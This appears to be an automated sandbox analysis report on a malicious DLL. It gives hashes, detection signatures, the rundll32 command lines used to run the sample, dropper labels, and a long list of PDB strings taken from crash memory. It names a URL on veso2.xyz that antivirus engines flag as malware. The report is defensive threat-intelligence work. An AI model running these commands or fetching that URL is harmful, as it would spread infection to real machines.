Play interactive tour

Edit tour

Analysis Report 4123.do1

Overview

General Information

Sample Name:	4123.do1 (renamed file extension from do1 to dll)
Analysis ID:	384021
MD5:	f776deb4df137b37dcae5406c8f3a07a
SHA1:	f6a31b594fca39c118927405fa4d14353b8fd49a
SHA256:	93cc5e6a6b671d9b0124ade32ae8b09269de9f03c5c5e66347fbfc7a8c3b305e
Infos:
Most interesting Screenshot:

Detection

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

System process connects to network (likely due to code injection or exploit)

Performs DNS queries to domains with low reputation

Rundll32 performs DNS lookup (likely malicious behavior)

Antivirus or Machine Learning detection for unpacked file

Checks if the current process is being debugged

Contains functionality to dynamically determine API calls

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Extensive use of GetProcAddress (often used to hide API calls)

Found decision node followed by non-executed suspicious APIs

One or more processes crash

PE file contains strange resources

Uses 32bit PE files

Classification

Startup

System is w10x64

loaddll32.exe (PID: 7088 cmdline: loaddll32.exe 'C:\Users\user\Desktop\4123.dll' MD5: 542795ADF7CC08EFCF675D65310596E8)

cmd.exe (PID: 7100 cmdline: cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\4123.dll',#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 7132 cmdline: rundll32.exe 'C:\Users\user\Desktop\4123.dll',#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

WerFault.exe (PID: 6652 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7132 -s 1008 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

rundll32.exe (PID: 7120 cmdline: rundll32.exe C:\Users\user\Desktop\4123.dll,DF1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

WerFault.exe (PID: 6636 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7120 -s 1008 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

rundll32.exe (PID: 5752 cmdline: rundll32.exe 'C:\Users\user\Desktop\4123.dll',DF1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

WerFault.exe (PID: 5948 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5752 -s 1008 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for URL or domain

Show sources

Source: http://veso2.xyz/campo/r/r1F	Avira URL Cloud: Label: malware
Source: http://veso2.xyz/campo/r/r1C:	Avira URL Cloud: Label: malware
Source: http://veso2.xyz/campo/r/r1	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Show sources

Source: veso2.xyz

Virustotal: Detection: 10%

Perma Link

Multi AV Scanner detection for submitted file

Show sources

Source: 4123.dll	Virustotal: Detection: 55%			Perma Link
Source: 4123.dll	ReversingLabs: Detection: 62%

Source: 10.2.rundll32.exe.1190000.7.unpack	Avira: Label: TR/Dropper.Gen
Source: 3.2.rundll32.exe.11b0000.7.unpack	Avira: Label: TR/Dropper.Gen
Source: 10.2.rundll32.exe.d823b6.2.unpack	Avira: Label: TR/Dropper.Gen
Source: 4.2.rundll32.exe.11a0000.7.unpack	Avira: Label: TR/Dropper.Gen

Source: 4123.dll

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL, LINE_NUMS_STRIPPED

Source:	Binary string: cryptbase.pdbP source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: pnrpnsp.pdbY source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp
Source:	Binary string: rsaenh.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: fltLib.pdb6 source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000008.00000003.636944028.0000000003386000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.636727331.0000000002DD7000.00000004.00000001.sdmp, WerFault.exe, 0000000C.00000003.642877334.00000000051BB000.00000004.00000001.sdmp
Source:	Binary string: sfc_os.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: bcrypt.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000008.00000003.641893367.00000000059C1000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642363725.0000000000AB1000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651005092.00000000056B1000.00000004.00000040.sdmp
Source:	Binary string: NapiNSP.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 00000008.00000003.641867150.00000000057F1000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.642348712.0000000004E81000.00000004.00000001.sdmp, WerFault.exe, 0000000C.00000003.650931846.00000000056E1000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 00000008.00000003.641942201.00000000059C0000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642409344.0000000000AB0000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651140195.00000000056B0000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000008.00000003.636702692.0000000003380000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.637261679.0000000002DD1000.00000004.00000001.sdmp, WerFault.exe, 0000000C.00000003.642507283.000000000337E000.00000004.00000001.sdmp
Source:	Binary string: winnsi.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: cryptsp.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 00000008.00000003.641942201.00000000059C0000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642409344.0000000000AB0000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651140195.00000000056B0000.00000004.00000040.sdmp
Source:	Binary string: bcrypt.pdb* source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: dwmapi.pdb, source: WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: fltLib.pdbS source: WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: msctf.pdb_ source: WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: rasadhlp.pdbq source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000008.00000003.636714132.000000000338C000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.637048796.0000000002DDD000.00000004.00000001.sdmp, WerFault.exe, 0000000C.00000003.642523716.000000000338A000.00000004.00000001.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: mpr.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: msasn1.pdb} source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: dwmapi.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: sfc_os.pdb source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdbk source: WerFault.exe, 00000008.00000003.641954637.00000000059C4000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642418429.0000000000AB4000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651005092.00000000056B1000.00000004.00000040.sdmp
Source:	Binary string: advapi32.pdb& source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp
Source:	Binary string: ws2_32.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: msvcp60.pdb? source: WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: winspool.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: shell32.pdbk source: WerFault.exe, 00000008.00000003.641893367.00000000059C1000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642363725.0000000000AB1000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651005092.00000000056B1000.00000004.00000040.sdmp
Source:	Binary string: iphlpapi.pdb} source: WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: iphlpapi.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: rsaenh.pdb6 source: WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdbt source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: nsi.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: ucrtbase.pdbk source: WerFault.exe, 00000008.00000003.641893367.00000000059C1000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642363725.0000000000AB1000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651005092.00000000056B1000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: propsys.pdbh source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: NapiNSP.pdbc source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: AcLayers.pdb source: WerFault.exe, 00000008.00000003.641867150.00000000057F1000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.642348712.0000000004E81000.00000004.00000001.sdmp, WerFault.exe, 0000000C.00000003.650931846.00000000056E1000.00000004.00000001.sdmp
Source:	Binary string: advapi32.pdbB source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdbe source: WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: userenv.pdbe source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: msasn1.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: dpapi.pdb? source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 00000008.00000003.641893367.00000000059C1000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642418429.0000000000AB4000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651005092.00000000056B1000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 00000008.00000003.641942201.00000000059C0000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642409344.0000000000AB0000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651140195.00000000056B0000.00000004.00000040.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: winnsi.pdbh source: WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: msvcp60.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: wkernel32.pdb( source: WerFault.exe, 00000008.00000003.636944028.0000000003386000.00000004.00000001.sdmp, WerFault.exe, 0000000C.00000003.643200294.0000000003384000.00000004.00000001.sdmp
Source:	Binary string: rundll32.pdb source: WerFault.exe, 00000008.00000002.658372686.00000000035C0000.00000002.00000001.sdmp, WerFault.exe, 00000009.00000002.656286484.00000000009C0000.00000002.00000001.sdmp, WerFault.exe, 0000000C.00000002.698870871.0000000003430000.00000002.00000001.sdmp
Source:	Binary string: sfc.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: dpapi.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000008.00000003.641867150.00000000057F1000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.642348712.0000000004E81000.00000004.00000001.sdmp, WerFault.exe, 0000000C.00000003.650931846.00000000056E1000.00000004.00000001.sdmp
Source:	Binary string: wimm32.pdbZ source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: profapi.pdb\ source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: wimm32.pdbU source: WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: rasadhlp.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdb0 source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp
Source:	Binary string: winnsi.pdbW source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: dhcpcsvc.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: cryptsp.pdbr source: WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: msasn1.pdb8 source: WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdbI source: WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: pnrpnsp.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: advapi32.pdbq source: WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: lbase.pdb source: WerFault.exe, 00000009.00000003.636822779.0000000004A2D000.00000004.00000001.sdmp
Source:	Binary string: cryptsp.pdb{ source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: dhcpcsvc6.pdbS source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp
Source:	Binary string: rundll32.pdbGCTL source: WerFault.exe, 00000008.00000002.658372686.00000000035C0000.00000002.00000001.sdmp, WerFault.exe, 00000009.00000002.656286484.00000000009C0000.00000002.00000001.sdmp, WerFault.exe, 0000000C.00000002.698870871.0000000003430000.00000002.00000001.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 00000008.00000003.641954637.00000000059C4000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642418429.0000000000AB4000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651005092.00000000056B1000.00000004.00000040.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000008.00000003.641867150.00000000057F1000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.642348712.0000000004E81000.00000004.00000001.sdmp, WerFault.exe, 0000000C.00000003.650931846.00000000056E1000.00000004.00000001.sdmp
Source:	Binary string: combase.pdbD source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: combase.pdbF source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 00000008.00000003.641893367.00000000059C1000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642363725.0000000000AB1000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651005092.00000000056B1000.00000004.00000040.sdmp
Source:	Binary string: nsi.pdb{ source: WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdb* source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000008.00000003.641867150.00000000057F1000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.642348712.0000000004E81000.00000004.00000001.sdmp, WerFault.exe, 0000000C.00000003.650931846.00000000056E1000.00000004.00000001.sdmp
Source:	Binary string: sechost.pdb8 source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: dnsapi.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: userenv.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000008.00000003.641867150.00000000057F1000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.642348712.0000000004E81000.00000004.00000001.sdmp, WerFault.exe, 0000000C.00000003.650931846.00000000056E1000.00000004.00000001.sdmp
Source:	Binary string: setupapi.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: nlaapi.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: iphlpapi.pdbf source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: l32.pdb source: WerFault.exe, 00000009.00000003.636822779.0000000004A2D000.00000004.00000001.sdmp
Source:	Binary string: dhcpcsvc6.pdb5 source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: imagehlp.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: wUxTheme.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: oleaut32.pdbN source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: iphlpapi.pdbr source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb( source: WerFault.exe, 00000008.00000003.636702692.0000000003380000.00000004.00000001.sdmp, WerFault.exe, 0000000C.00000003.642507283.000000000337E000.00000004.00000001.sdmp
Source:	Binary string: profapi.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: dhcpcsvc6.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: oleaut32.pdb` source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000008.00000003.641867150.00000000057F1000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.642348712.0000000004E81000.00000004.00000001.sdmp, WerFault.exe, 0000000C.00000003.650931846.00000000056E1000.00000004.00000001.sdmp
Source:	Binary string: setupapi.pdb, source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: sfc_os.pdbG source: WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: nlaapi.pdbe source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp
Source:	Binary string: propsys.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdbk source: WerFault.exe, 00000008.00000003.641893367.00000000059C1000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642418429.0000000000AB4000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651005092.00000000056B1000.00000004.00000040.sdmp
Source:	Binary string: winspool.pdbx source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp
Source:	Binary string: winrnr.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: bcrypt.pdbc source: WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: msctf.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: wUxTheme.pdb5 source: WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: wmswsock.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: ws2_32.pdbf source: WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: dhcpcsvc.pdbY source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: wUxTheme.pdb> source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 00000008.00000003.641942201.00000000059C0000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642409344.0000000000AB0000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651140195.00000000056B0000.00000004.00000040.sdmp
Source:	Binary string: setupapi.pdbL source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp
Source:	Binary string: wmswsock.pdb~ source: WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: msctf.pdb, source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp
